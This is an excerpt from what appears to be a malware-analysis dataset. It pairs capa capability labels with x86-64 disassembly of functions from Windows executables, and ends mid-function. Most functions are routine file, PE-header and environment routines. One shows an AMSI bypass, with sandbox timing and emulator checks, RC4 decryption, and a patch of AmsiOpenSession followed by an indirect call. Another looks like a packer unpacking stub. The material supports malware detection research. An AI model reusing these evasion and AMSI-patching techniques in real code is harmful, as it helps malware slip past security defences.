joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001d7f0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x4b], 0
mov rbp, rcx
je 0x14001d9c1
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0x8107f5017dbbf511
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [r14 + rax]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [r15 + rax]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
xor byte [rax + 0x16], sil
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
shl cl, 3
shr rbx, cl
lea ecx, [r12 + rax]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
xor byte [rax + 0x11], r11b
shl cl, 3
shr r10, cl
lea ecx, [rdx + rax]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0x8107f5017dbbf511
xor byte [rax + 0x12], r10b
shl cl, 3
shr r9, cl
lea ecx, [r8 + rax]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
xor byte [rax + 0x13], r9b
movabs r9, 0x8107f5017dbbf511
shl cl, 3
shr r8, cl
movzx ecx, al
add cl, byte [rsp + 0x40]
xor byte [rax + 4], r8b
and cl, 7
xor byte [rax + 0xc], r8b
xor byte [rax + 0x14], r8b
mov r8, qword [rsp + 0x50]
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0x15], dl
add rax, 0x19
mov rdx, qword [rsp + 0x48]
lea rcx, [rax + r14]
cmp rcx, 0x4b
jb 0x14001d890
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x4b], 0
add rsp, 0x30
pop rbp
ret

Function at 0x14001fb04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001fb4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001fb4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001fb4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001fb4e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001fb4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001fb50
xor al, al
add rsp, 0x28
ret
Function at 0x1400259b8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140025823
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140025823
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140025823
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140025823
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140025823
cmp dword [rcx + 0x84], 0xe
jbe 0x140025823
cmp dword [rcx + 0xf8], 0
je 0x140025823
mov ecx, ebx
call fcn.1400258d4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400256b0
nop
cmp dword [rbp + 0x20], 0
je 0x140025871
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002587c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400257b4

Function at 0x14002e08c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14002e0a2
mov al, 1
jmp 0x14002e102
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14002e0b3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14002e100
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400343d4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002e100
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002e100
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14002e100
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14002e102
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14002fd64
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14002fd84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14002675c
or eax, 0xffffffff
jmp 0x14002fd86
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400302c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14001f4d0
sub rsp, rax
mov rax, qword [0x1400680c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14002d4fc
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14003030f
mov rax, rbp
jmp 0x140030417
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x6a4b0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14003120c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x6a4b0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140030413
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140030413
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14003120c
test rax, rax
js 0x140030413
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140030413
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140030405
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140030405
cmp byte [rcx], 0xd
jne 0x1400303eb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1400303fa
cmp byte [rcx + 1], 0xa
jne 0x1400303fa
inc rcx
jmp 0x1400303fa
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x68500]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400303cd
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140030417
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14001eb90
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400305ac
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14006a4b0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140030603
cmp word [rdx], r13w
jne 0x140030603
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140030608
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14003072d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14003074e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140030641
mov rdx, r9
mov word [rbx], cx
jmp 0x140030668
cmp r9, r8
jae 0x140030678
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140030622
jmp 0x14003072d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140030722
cmp dword [rsp + 0x80], esi
je 0x140030722
lea r8, [0x14006a4b0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400306fa
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400306ca
mov word [rbx], r13w
jmp 0x14003072a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400306d7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14003072a
cmp word [rsp + 0x70], r13w
jne 0x140030707
cmp rbx, r14
je 0x1400306c4
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140031214
cmp word [rsp + 0x70], r13w
je 0x14003072d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14006a4b0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140030727
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14003072d
Function at 0x140033e18
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140033e48
xor eax, eax
jmp 0x140033f0b
mov rbp, rbx
cmp word [rax], si
je 0x140033e6d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140033e54
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140033e50
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400320dc
movsxd r14, eax
test eax, eax
jne 0x140033eab
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140033e41
mov rcx, r14
call fcn.14002d324
mov rdi, rax
test rax, rax
jne 0x140033ec4
xor ecx, ecx
call fcn.14002d2e8
jmp 0x140033ea0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400320dc
test eax, eax
jne 0x140033ef5
mov rcx, rdi
call fcn.14002d2e8
jmp 0x140033eff
xor ecx, ecx
call fcn.14002d2e8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140036928
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14002cd3c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400369c9
cmp ebx, dword [rsp + 0x30]
je 0x1400369c2
test esi, esi
je 0x1400369c2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14003699d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400369aa
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140036987
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400369ae
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400369cb
mov eax, 1
jmp 0x1400369cb
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140039894
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140031214
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140031214
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400399e4
cmp rax, 0xffffffffffffffff
je 0x1400399e4
xor edi, edi
test rbp, rbp
jle 0x14003998f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14002c580
mov rbx, rax
test rax, rax
jne 0x14003991c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140039985
mov edx, 0x8000
mov ecx, r14d
call fcn.14002a394
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14002ecb4
cmp eax, 0xffffffff
je 0x140039965
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14003992c
mov edx, r15d
mov ecx, r14d
call fcn.14002a394
jmp 0x140039985
cmp byte [rsi + 0x38], dil
je 0x14003997c
cmp dword [rsi + 0x34], 5
jne 0x14003997c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140039985
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14002d2e8
jmp 0x1400399f8
jns 0x1400399f8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140031214
cmp rax, 0xffffffffffffffff
jne 0x1400399b0
cmp byte [rsi + 0x30], dil
je 0x1400399f8
mov edi, dword [rsi + 0x2c]
jmp 0x1400399f8
mov ecx, r14d
call fcn.1400343d4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400399f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400399f8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400399f1
mov eax, dword [rsi + 0x2c]
jmp 0x1400399f6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140031214
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140039ed0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140039ef8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140039ef8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140174a60
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140174a6d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140174a7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140174a65
lea eax, [rcx + 1]
jmp 0x140174a8b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140174a9e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140174a84
sub eax, 3
jb 0x140174abe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140174b0d
sar eax, 1
movsxd rbp, eax
jb 0x140174af4
jmp 0x140174acc
add ebx, ebx
jne 0x140174aca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140174af4
inc ecx
add ebx, ebx
jne 0x140174ada
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140174af4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140174aed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140174adc
add ecx, 2
jmp 0x140174af9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140174a22
jmp 0x140174a6d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xe7e00
mov dl, 0x26
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140174b59
cmp rsi, rcx
jae 0x140174b61
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140174b40
cmp al, 0x8f
ja 0x140174b40
cmp byte [rsi - 2], 0xf
je 0x140174b46
sub al, 0xe8
cmp al, 1
ja 0x140174b2a
cmp rsi, rcx
jae 0x140174b61
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140174b30
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140174b61
lodsb al, byte [rsi]
jmp 0x140174b40
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x16f000]
mov eax, dword [rdi]
or eax, eax
je 0x140174bca
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x17428c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140174b6e
jns 0x140174ba3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140174bad
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140174bc4
mov qword [rbx], rax
add rbx, 8
jmp 0x140174b8e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140174c04
cmp al, 0xef
ja 0x140174bf6
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140174bd6
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140174be5
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x247]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
push rcx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140174c58
sub rsp, 0xffffffffffffff80
jmp 0x1400c2da4
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x238], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0xfa0
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xfa0
jb 0x14000126b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 4
mov r9d, GetModuleHandleW
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
je 0x14000126b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
je 0x14000126b
xor edx, edx
mov qword [rsp + 0x250], rdi
xor ecx, ecx
lea r10, [0x140004398]
xor r8d, r8d
mov r9d, pe_nt_image_headers64
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
mov byte [rsp + r8 + 0x30], cl
and eax, 0xf
lea r8, [r8 + 1]
inc ecx
movzx eax, byte [rax + r10]
mov byte [rsp + r8 + 0x12f], al
cmp ecx, r9d
jl 0x1400010b0
xor r8d, r8d
nop word [rax + rax]
movzx eax, byte [rsp + r8 + 0x130]
movzx r10d, byte [rsp + r8 + 0x30]
add edx, eax
add edx, r10d
and edx, 0x800000ff
jge 0x140001106
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + r8 + 0x30], al
inc r8
mov byte [rcx], r10b
sub r9, 1
jne 0x1400010e0
xor edx, edx
lea rbx, [0x140004080]
xor r8d, r8d
xor r11d, r11d
inc r8d
and r8d, 0x800000ff
jge 0x14000114d
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
movzx r10d, byte [r9]
add edx, r10d
and edx, 0x800000ff
jge 0x140001171
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r9], al
mov byte [rcx], r10b
movzx ecx, byte [r9]
add rcx, r10
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x30]
xor byte [r11 + rbx], cl
inc r11
cmp r11, 0x313
jl 0x140001134
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.AmsiOpenSession
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x230]
mov dword [rsp + 0x230], 0
mov rcx, rax
mov edx, 0x313
mov r8d, 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, rdi
mov r8d, 0x63
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rbx]
mov byte [rdx], cl
movzx eax, byte [rbx + 1]
mov byte [rdx + 1], al
movzx eax, byte [rbx + 2]
mov byte [rdx + 2], al
sub r8, 1
je 0x140001246
movzx eax, byte [rbx + 3]
mov byte [rdx + 3], al
movzx eax, byte [rbx + 4]
mov byte [rdx + 4], al
movzx eax, byte [rbx + 5]
mov byte [rdx + 5], al
movzx eax, byte [rbx + 6]
mov byte [rdx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rdx + 7], al
add rdx, 8
add rbx, 8
jmp 0x140001200
call rdi
mov rdi, qword [rsp + 0x250]
xor eax, eax
mov rcx, qword [rsp + 0x238]
xor rcx, rsp
call fcn.140001290
add rsp, 0x240
pop rbx
ret
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140004c44
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
cmp qword [rsp + 0x70], 0
jg 0x140004c66
xor eax, eax
jmp 0x140004e0f
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x68], 0
je 0x140004c8c
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140004e0f
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x140004d25
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.140001f18
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.140003b54
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x80], 0
je 0x140004dff
mov rcx, qword [rsp + 0x60]
call fcn.14000362c
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x140004dc6
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x140004dc4
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x140004e0f
jmp 0x140004d4b
cmp qword [rsp + 0x20], 0
jbe 0x140004dff
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
